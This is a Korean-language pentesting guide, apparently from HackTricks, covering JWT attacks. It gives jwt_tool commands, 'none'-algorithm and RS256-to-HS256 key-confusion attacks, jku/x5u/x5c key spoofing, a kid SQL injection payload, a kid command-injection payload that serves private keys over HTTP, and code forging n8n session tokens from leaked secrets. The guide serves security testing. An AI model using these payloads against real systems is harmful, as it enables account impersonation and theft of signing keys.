JWT 취약점 (Json Web Tokens)

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

이 게시물의 일부는 훌륭한 게시물에 기반합니다: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT를 pentest하기 위한 훌륭한 도구의 제작자 https://github.com/ticarpi/jwt_tool

빠른 성과

All Tests! 모드로 jwt_tool를 실행하고 초록색 줄이 나올 때까지 기다리세요

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

운이 좋다면 도구가 웹 애플리케이션이 JWT를 잘못 검증하는 경우를 찾아줄 수 있습니다:

그런 다음, proxy에서 해당 요청을 검색하거나 jwt_ 도구를 사용해 해당 요청에 사용된 JWT를 덤프할 수 있습니다:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

서명을 수정하지 않고 데이터만 변조

서명을 그대로 둔 채 데이터만 변조해서 서버가 서명을 검증하는지 확인할 수 있습니다. 예를 들어 사용자 이름을 “admin“으로 변경해 보세요.

토큰이 검증되는가?

• 오류 메시지는 검증이 수행되고 있음을 시사합니다. 자세한 오류에 포함된 민감한 정보는 검토해야 합니다.
• 반환된 페이지의 변경 또한 검증을 나타냅니다.
• 변경이 없으면 검증이 이루어지지 않는 것으로 보이며, 이때 payload 클레임을 변조해 실험해볼 수 있습니다.

Origin

프록시의 요청 기록을 검사하여 토큰이 서버측에서 생성되었는지 클라이언트측에서 생성되었는지 파악하는 것이 중요합니다.

• 클라이언트 쪽에서 처음 관찰된 토큰은 키가 클라이언트 코드에 노출되어 있을 수 있음을 시사하며, 추가 조사가 필요합니다.
• 서버 측에서 생성된 토큰은 프로세스가 안전함을 나타냅니다.

Duration

토큰이 24시간 이상 지속되는지 확인하세요… 어쩌면 절대 만료되지 않을 수도 있습니다. “exp” 필드가 있다면 서버가 이를 올바르게 처리하는지 확인하세요.

Brute-force HMAC secret

See this page.

Derive JWT secrets from leaked config + DB data

If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:

1. Leak the app key (e.g., encryptionKey) from a config file.
2. Leak the user table to obtain email, password_hash, and user_id.
3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:

jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

4. 서명된 토큰을 session cookie(예: n8n-auth)에 넣어 비밀번호 해시에 솔트가 적용되어 있어도 사용자/관리자 계정을 가장할 수 있다.

Modify the algorithm to None

사용되는 알고리즘을 “None“으로 설정하고 서명 부분을 제거한다.

Burp 확장기능인 “JSON Web Token“을 사용하여 이 취약점을 시도하고 JWT 내부의 다양한 값을 변경할 수 있다(요청을 Repeater로 보내고 “JSON Web Token” 탭에서 토큰의 값을 수정할 수 있다. 또한 “Alg” 필드의 값을 “None“으로 설정할 수도 있다).

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

HS256 알고리즘은 비밀 키를 사용해 각 메시지를 서명하고 검증한다.
RS256 알고리즘은 개인 키로 메시지를 서명하고 공개 키로 인증한다.

RS256에서 HS256으로 알고리즘을 변경하면, 백엔드 코드는 공개 키를 비밀 키로 사용한 뒤 HS256 알고리즘으로 서명을 검증한다.

따라서 공개 키를 사용하고 RS256을 HS256으로 변경하면 유효한 서명을 생성할 수 있다. 웹 서버의 인증서는 다음과 같이 가져올 수 있다:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

헤더 안의 새로운 공개 키

공격자는 토큰의 헤더에 새 키를 삽입하고 서버가 이 새 키로 서명을 검증한다 (CVE-2018-0114).

이것은 “JSON Web Tokens” Burp extension.\ (요청을 Repeater로 보내고, JSON Web Token 탭에서 “CVE-2018-0114“를 선택한 뒤 요청을 전송).

JWKS 스푸핑

지침은 특히 “jku” 헤더 클레임을 사용하는 JWT 토큰의 보안을 평가하는 방법을 설명한다. 이 클레임은 토큰 검증에 필요한 공개 키를 포함하는 JWKS (JSON Web Key Set) 파일로 연결되어야 한다.

• “jku” 헤더가 있는 토큰 평가:

• ‘jku’ 클레임의 URL이 적절한 JWKS 파일로 연결되는지 확인한다.

• 토큰의 ‘jku’ 값을 제어 가능한 웹 서비스로 변경하여 트래픽을 관찰할 수 있게 한다.

• HTTP 상호작용 모니터링:

• 지정한 URL로의 HTTP 요청을 관찰하면 서버가 제공한 링크에서 키를 가져오려고 시도했음을 나타낸다.

• 이 절차에서 jwt_tool을 사용할 때는 테스트를 위해 jwtconf.ini 파일을 개인 JWKS 위치로 업데이트하는 것이 중요하다.

• jwt_tool 명령:

• 다음 명령을 실행하여 jwt_tool로 시나리오를 시뮬레이션한다:

python3 jwt_tool.py JWT_HERE -X s

Kid 문제 개요

선택적 헤더 클레임인 kid는 특정 키를 식별하는 데 사용되며, 특히 여러 키가 존재하는 환경에서 토큰 서명 검증에 중요하다. 이 클레임은 토큰 서명을 검증할 적절한 키를 선택하는 데 도움을 준다.

kid를 통한 키 노출

헤더에 kid 클레임이 있는 경우 해당 파일 또는 그 변형을 웹 디렉토리에서 검색하는 것이 권장된다. 예를 들어 "kid":"key/12345"가 지정되어 있다면 웹 루트에서 _/key/12345_와 /key/12345.pem 파일을 찾아야 한다.

Path Traversal with kid

kid 클레임은 파일 시스템을 탐색하는 데 악용되어 임의의 파일을 선택할 수 있게 할 수도 있다. kid 값을 특정 파일이나 서비스를 대상으로 변경하여 연결성을 테스트하거나 Server-Side Request Forgery (SSRF) 공격을 수행하는 것이 가능하다. 원래 서명을 유지하면서 kid 값을 변경하도록 JWT를 변조하는 것은 아래에 예시된 jwt_tool의 -T 플래그를 사용하여 수행할 수 있다:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

SQL Injection via “kid”

kid 클레임의 내용이 데이터베이스에서 비밀번호를 가져오는 데 사용된다면, kid 페이로드를 변경함으로써 SQL Injection이 발생할 수 있습니다. JWT 서명 과정을 변경하기 위해 SQL Injection을 이용한 예시 페이로드는 다음과 같습니다:

non-existent-index' UNION SELECT 'ATTACKER';-- -

이 변경은 JWT 서명을 위해 알려진 비밀 키, ATTACKER, 를 사용하도록 강제합니다.

OS Injection through “kid”

kid 파라미터가 명령 실행 컨텍스트에서 사용되는 파일 경로를 지정하는 경우, Remote Code Execution (RCE) 취약점이 발생할 수 있습니다. kid 파라미터에 명령을 주입하면 private keys를 노출시킬 수 있습니다. RCE와 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
토큰이 “jku” Header 클레임을 사용한다면 제공된 URL을 확인하세요. 이 URL은 토큰 검증을 위한 Public Key를 포함한 JWKS 파일을 가리켜야 합니다. jku 값을 트래픽을 모니터링할 수 있는 웹 서비스로 가리키도록 토큰을 변조하세요.

First you need to create a new certificate with new private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

그런 다음 예를 들어 jwt.io를 사용해 새 JWT를 생성할 수 있으며, 생성한 공개 및 개인 키를 사용하고 parameter jku가 생성한 인증서를 가리키도록 설정하면 됩니다.

유효한 jku 인증서를 만들려면 원본을 다운로드하여 필요한 매개변수를 변경하면 됩니다.

공개 인증서에서 “e“와 “n” 파라미터를 다음을 사용하여 얻을 수 있습니다:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. PEM 형식으로 인코딩된 X.509(인증서 형식 표준) 공개 인증서 집합을 가리키는 URI입니다. 집합의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된 인증서여야 합니다. 이후의 인증서들은 각각 이전 인증서를 서명하여 인증서 체인을 완성합니다. X.509는 RFC 52807에 정의되어 있습니다. 인증서를 전송하려면 전송 보안이 필요합니다.

자신이 제어하는 URL로 이 헤더를 변경해 보고 요청이 수신되는지 확인하세요. 그런 경우 JWT를 변조할 수 있습니다.

자신이 제어하는 인증서를 사용해 새로운 token을 위조하려면, 인증서를 생성하고 공개 키와 개인 키를 추출해야 합니다:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

그런 다음 예를 들어 jwt.io를 사용해 생성한 public 및 private 키로 새 JWT를 만들고 파라미터 x5u를 생성된 인증서 .crt로 지정할 수 있다.

이 두 취약점 모두를 SSRFs에 악용할 수도 있다.

x5c

이 파라미터는 base64로 인코딩된 인증서를 포함할 수 있다:

공격자가 자가 서명 인증서(self-signed certificate)를 생성하고 해당 private key로 위조된 토큰을 생성한 뒤 “x5c” 파라미터의 값을 새로 생성한 인증서로 교체하고 다른 파라미터들, 즉 n, e 및 x5t를 수정하면 결국 서버는 그 위조된 토큰을 수락하게 된다.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

내장된 공개 키 (CVE-2018-0114)

JWT에 다음과 같은 시나리오처럼 공개 키가 내장되어 있다면:

다음 nodejs 스크립트를 사용하면 해당 데이터로부터 공개 키를 생성할 수 있다:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

새로운 private/public key를 생성하고, 새로운 public key를 token 안에 삽입한 다음 이를 사용해 새로운 signature를 생성할 수 있습니다:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

다음 nodejs 스크립트를 사용해 “n“과 “e“를 얻을 수 있습니다:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.

ES256: 동일한 nonce 사용 시 개인키 공개

If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.

• A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.

Expiry Check of Tokens

The token’s expiry is checked using the “exp” Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user’s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the “exp” claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an “exp” claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool’s -R flag.

• A security risk may be present if the application still validates the token, as it may imply that the token could never expire.

Tools

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

References

• n8n token forge chain – config+DB leak to JWT signing secret

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.